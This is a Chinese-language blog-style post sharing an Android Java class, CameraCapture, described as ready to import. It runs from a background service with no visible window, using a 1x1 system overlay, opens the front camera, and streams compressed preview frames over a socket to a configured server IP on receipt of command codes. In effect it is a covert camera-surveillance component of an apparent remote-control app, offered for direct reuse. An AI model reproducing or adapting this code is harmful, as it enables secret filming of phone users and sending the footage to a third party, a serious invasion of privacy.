Android后台实时监控项目:通过摄像头实时预览帧视频
本类可直接导入项目中使用,不需要窗体,直接在后台service中即可调用摄像头获取数据并转发到服务器。碰到的问题是,相机默认是横屏摄像,需要把图像向左旋转90.
package media;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import android.annotation.TargetApi;
import android.content.ActivityNotFoundException;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.ImageFormat;
import android.graphics.Matrix;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.YuvImage;
import android.hardware.Camera;
import android.hardware.Camera.Size;
import android.media.Image;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Environment;
import android.util.Log;
import android.view.Gravity;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.WindowManager;
import order.OrderService;
import order.Sock;
import order.order;
import permission.GivePermission;
import util.ConfigCt;
public class CameraCapture implements SurfaceHolder.Callback,Camera.PreviewCallback {
private final static int VIDEO_WIDTH=200;
private final static int VIDEO_HEIGHT=200;
private String TAG="bysc001";
private Context context;
private static CameraCapture current;
private SurfaceView surfaceView;
private Camera camera = null;
private SurfaceHolder holder;
private WindowManager windowManager;
private boolean mSinglePic;
private int mQuality=70;
private int mVideoWidth=320;
private int mVideoHeight=240;
private int mVideoFormatIndex=0;
private volatile boolean mBusy=false;
public Sock sock;
private int mPort=8103;
public CameraCapture(Context context){
this.context=context;
windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
surfaceView = new SurfaceView(context);
WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(
1, 1,
WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY,
WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH,
PixelFormat.TRANSLUCENT
);
layoutParams.gravity = Gravity.LEFT | Gravity.TOP;
windowManager.addView(surfaceView, layoutParams);
holder = surfaceView.getHolder();
holder.addCallback(this);
holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
}
public static synchronized CameraCapture getInstance() {
return current;
}
public static synchronized CameraCapture getInstance(Context context) {
if(current == null) {
current = new CameraCapture(context.getApplicationContext());
}
return current;
}
public void start(int port,boolean bSinglePic,int Quality){
mPort=port;
sock=new Sock(ConfigCt.cIP,port);
sock.oh.cmd=order.CMD_CAMERA_CAP_START;
mSinglePic=bSinglePic;
mQuality=Quality;
OpenCarmeraThread();
getCarmaPermission();
}
public void stop(){
if(null != camera){
if(mSinglePic)
camera.setOneShotPreviewCallback(null);
else
camera.setPreviewCallback(null);
camera.stopPreview();
camera.release();
camera = null;
}
if(windowManager!=null&&surfaceView!=null)
windowManager.removeView(surfaceView);
surfaceView=null;
windowManager=null;
sock.release();
sock=null;
current=null;
}
@Override
public void surfaceCreated(SurfaceHolder holder) {
}
@Override
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
Log.i(TAG, "SurfaceHolder.Callback:Surface Changed");
}
@Override
public void surfaceDestroyed(SurfaceHolder holder) {
Log.i(TAG, "SurfaceHolder.Callback:Surface Destroyed");
}
@Override
public void onPreviewFrame(byte[] data, Camera camera) {
if(mBusy)return;
SendTask sendTask=new SendTask();
sendTask.execute(data);
}
public void OpenCarmeraThread(){
new Thread(new Runnable() {
@Override
public void run() {
if(OpenFrontCamera()){
ConfigCt.getInstance(context).setCameraPermission(true);
StartCameraPreview();
}
}
}).start();
}
public boolean OpenFrontCamera(){
if(camera!=null)return true;
try{
Camera.CameraInfo cameraInfo = new Camera.CameraInfo();
int cameraCount = Camera.getNumberOfCameras();
for ( int camIdx = 0; camIdx < cameraCount;camIdx++ ) {
Camera.getCameraInfo( camIdx, cameraInfo );
if ( cameraInfo.facing ==Camera.CameraInfo.CAMERA_FACING_FRONT ) {
try {
camera = Camera.open( camIdx );
} catch (RuntimeException e) {
e.printStackTrace();
}
}
}
}catch(ActivityNotFoundException e){
e.printStackTrace();
}
if(camera==null)return false;else return true;
}
private void StartCameraPreview(){
if (camera == null)return;
try{
camera.stopPreview();
camera.setPreviewDisplay(holder);
if(mSinglePic)
camera.setOneShotPreviewCallback(this);
else
camera.setPreviewCallback(this);
Camera.Parameters parameters = camera.getParameters();
mVideoWidth = parameters.getPreviewSize().width;
mVideoHeight=parameters.getPreviewSize().height;
mVideoFormatIndex=parameters.getPreviewFormat();
camera.startPreview();
camera.autoFocus(null);
}catch(IOException e){
e.printStackTrace();
}
}
public Bitmap rotateBitmap(Bitmap bmp,int ori){
Matrix matrix = new Matrix();
matrix.postRotate(ori);
Bitmap bitmap = Bitmap.createBitmap(bmp.getWidth(), bmp.getHeight(), Bitmap.Config.ARGB_8888);
Bitmap nbmp2 = Bitmap.createBitmap(bmp, 0,0, bmp.getWidth(), bmp.getHeight(), matrix, true);
return nbmp2;
};
/*
* 得到图片:
*/
private Bitmap getBmp(byte[] data){
Rect rect=new Rect(0,0,mVideoWidth,mVideoHeight);
YuvImage yuvImg = new YuvImage(data,ImageFormat.NV21,mVideoWidth,mVideoHeight,null);
try {
ByteArrayOutputStream outputstream = new ByteArrayOutputStream();
yuvImg.compressToJpeg(rect, 100, outputstream);
ByteArrayInputStream inputstream = new ByteArrayInputStream(outputstream.toByteArray());
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
Bitmap bmp = BitmapFactory.decodeStream(inputstream, null, options);
options.inJustDecodeBounds = false;
options.inSampleSize = computeInitialSampleSize(options, 480, 480 * 960);
inputstream = new ByteArrayInputStream(outputstream.toByteArray());
bmp = BitmapFactory.decodeStream(inputstream, null, options);
bmp=rotateBitmap(bmp,270);
return bmp;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private void SaveBmp(Bitmap bmp){
try {
String fileImage=Environment.getExternalStorageDirectory().getPath()+"/byc/fp.jpg";
File file=new File(fileImage);
file.delete();
FileOutputStream out = new FileOutputStream(fileImage);
bmp.compress(Bitmap.CompressFormat.JPEG, mQuality, out);
out.flush();
out.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public class SendTask extends AsyncTask<byte[], Void, Bitmap> {
@TargetApi(Build.VERSION_CODES.KITKAT)
@Override
protected Bitmap doInBackground(byte[]... params) {
if (params == null || params.length < 1 || params[0] == null) {
return null;
}
mBusy=true;
byte[] data = params[0];
Bitmap bmp=getBmp(data);
if(bmp==null)return null;
if(sock==null){
if(!bmp.isRecycled())bmp.recycle();
return null;
}
if(!sock.isConnected())sock.connectServer();
if(sock.isConnected()){
if(!sock.SendBmp(bmp,mQuality))stop();
}
return bmp;
}
@TargetApi(Build.VERSION_CODES.KITKAT)
@Override
protected void onPostExecute(Bitmap bitmap) {
super.onPostExecute(bitmap);
mBusy=false;
if(mSinglePic)
stop();
}
}
public int computeSampleSize(BitmapFactory.Options options,int minSideLength, int maxNumOfPixels) {
int initialSize = computeInitialSampleSize(options, minSideLength,maxNumOfPixels);
int roundedSize;
if (initialSize <= 8) {
roundedSize = 1;
while (roundedSize < initialSize) {
roundedSize <<= 1;
}
} else {
roundedSize = (initialSize + 7) / 8 * 8;
}
return roundedSize;
}
private int computeInitialSampleSize(BitmapFactory.Options options,int minSideLength, int maxNumOfPixels) {
double w = options.outWidth;
double h = options.outHeight;
int lowerBound = (maxNumOfPixels == -1) ? 1 : (int) Math.ceil(Math.sqrt(w * h / maxNumOfPixels));
int upperBound = (minSideLength == -1) ? 128 : (int) Math.min(Math.floor(w / minSideLength), Math.floor(h / minSideLength));
if (upperBound < lowerBound) {
return lowerBound;
}
if ((maxNumOfPixels == -1) && (minSideLength == -1)) {
return 1;
} else if (minSideLength == -1) {
return lowerBound;
} else {
return upperBound;
}
}
public int calculateInSampleSize(BitmapFactory.Options op, int reqWidth, int reqheight) {
int originalWidth = op.outWidth;
int originalHeight = op.outHeight;
int inSampleSize = 1;
if (originalWidth > reqWidth || originalHeight > reqheight) {
int halfWidth = originalWidth / 2;
int halfHeight = originalHeight / 2;
while ((halfWidth / inSampleSize > reqWidth)
&&(halfHeight / inSampleSize > reqheight)) {
inSampleSize *= 2;
}
}
return inSampleSize;
}
}